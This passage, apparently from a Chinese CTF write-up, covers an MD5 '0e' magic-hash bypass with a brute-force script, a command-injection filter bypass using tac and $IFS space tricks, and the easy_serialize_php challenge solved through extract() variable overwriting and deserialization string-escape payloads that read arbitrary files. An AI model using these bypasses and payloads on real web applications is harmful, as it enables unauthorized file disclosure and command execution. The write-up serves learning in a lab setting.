所以这里找一个字符串,使得进行MD5加密前是’0e’开头的,MD5加密后也是’0e’开头的,这样子,就能保证加密前后的值是相等==的了:0e215962017,这样就成功绕过了这一层

,这里md5的payload我看了下大多wp,都是同一个,不知道是不是固定的,暂且记下

看了下有脚本能直接跑出来,不过要跑很久,先记着

1
2
3
4
5
6
7
8
9
10
11
12
13
def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1

run()

第三层绕strstr和str_ireplace
这一层首先用strstr函数限制传入不能有空格,如果传入的值中有cat就会用str_ireplace函数将的at替换为wctf2020,传入的$get_flag变量会被当做系统命令执行。

先看看当前目录有什么东西

图片

这里把cat和空格禁了,我们直接用tac以及之前积累的空格绕过符号绕

比如tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

图片

即得flag

绕过空格的一些方法:

1
2
3
4
5
6
7
8
9
${IFS}
 
$IFS$9
 
<
 
<>
 
{,}

[安洵杯 2019]easy_serialize_php

首先我们要明确的两点

1.反序列化的结果是一串具有特殊含义的字符串

2.反序列化会解开序列化字符串生成相应类型的数据

sample1:

img是一个数组,下标分别是one和two,对应的值分别是flag,test。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}

序列化部分:
经过serialize序列化后生成了相应的字符串:

1
a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。花括号中的s都表示string即字符串
s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

反序列化部分:

unserialize函数将字符串解析化,用var_dump显示详细信息

可以见到序列化后由$b接收了img数组

接着是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把重要的代码提出来

1
2
3
4
5
6
7
8
9
10
11
$function = @$_GET['f'];

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

通过分析可以知道,get传参f得到的变量由$function接收
$function发挥作用的代码块,在最下方的判断语句,判断语句中给了提示访问Phpinfo,会在里面看到很多配置信息,可以发现我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。所以可以猜测flag应该要从d0g3_f1ag.php拿。

当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密

变量覆盖:

1
2
3
4
5
6
7
8
9
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

file函数是为了过滤一些黑名单字符串,往下发现unset把session给销毁了,重新赋予了新的值,再调用了extract()
extract() 函数从数组中将变量导入到当前的符号表

sample2:

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失。只剩下_SESSION[flag]=123

1
2
3
4
5
6
7
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

图片

由于有了以上的代码,我们可以进行变量覆盖,直接给session[‘img’]一个预想的值是不现实的,因为session[‘img’]=base64_encode(‘guest_img.png’)后执行的

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

再来看下filter函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把传入的字符串几个特定字符会替换成空
根据大佬的WP,这里运用了序列化字符逃逸的知识点

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

1
2
3
4
5
6
7
<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

以上就是逃逸概念的大概
如果我们把$_SESSION[‘img’]=base64_encode(‘guest_img.png’)这段代码的img属性放到花括号外边去,然后花括号中注好新的img属性,那么它本身要求的img就被我们替换了(这里就要用到之前的过滤函数)

根据大佬的payload来进行分析:

1
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

后面的base64也就是d0g3_f1ag.php
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}是我们预期的序列化字符

现在的_SESSION存在phpflag和img对应的键值对

1
2
3
4
5
$_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空
s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”,即键名为”;s:48:对应的值为一个字符串1.这个键值对只要能绕过就行

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;

键名img对应的d0g3_f1ag.php的base64编码

右边花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全都被遗弃忽略了

然后跑一下payload

可以发现

图片

将目录名(包括斜杠)进行base64加密L2QwZzNfZmxsbGxsbGFn,正好也是20位,应该是题目设置好了的,直接替换原来的就行

最后payload:

get:f=show_image

post: _SESSION[phpflag]=;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

反序列化逃逸:

主要是两个策略,值逃逸和键逃逸,上述方法是键逃逸,这里给出值逃逸

构造一个含有三个键值对的数组,第一个元素的值被过滤后向后延续第二个元素的键

_SESSION[c]=phpphpphpphpphp&_SESSION[d]=;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}

1
a:2:{s:1:"c";s:15:"phpphpphpphpphp";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

再一次经过filter函数处理后变成了

1
a:2:{s:1:"c";s:15:"";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

为什么后面还要加个;s:2:"dd";s:1:"a";}。因为加入3中给定的img参数后数组的键值对个数变成了3个即a:3。为了逃逸3必须新加入一个键值对。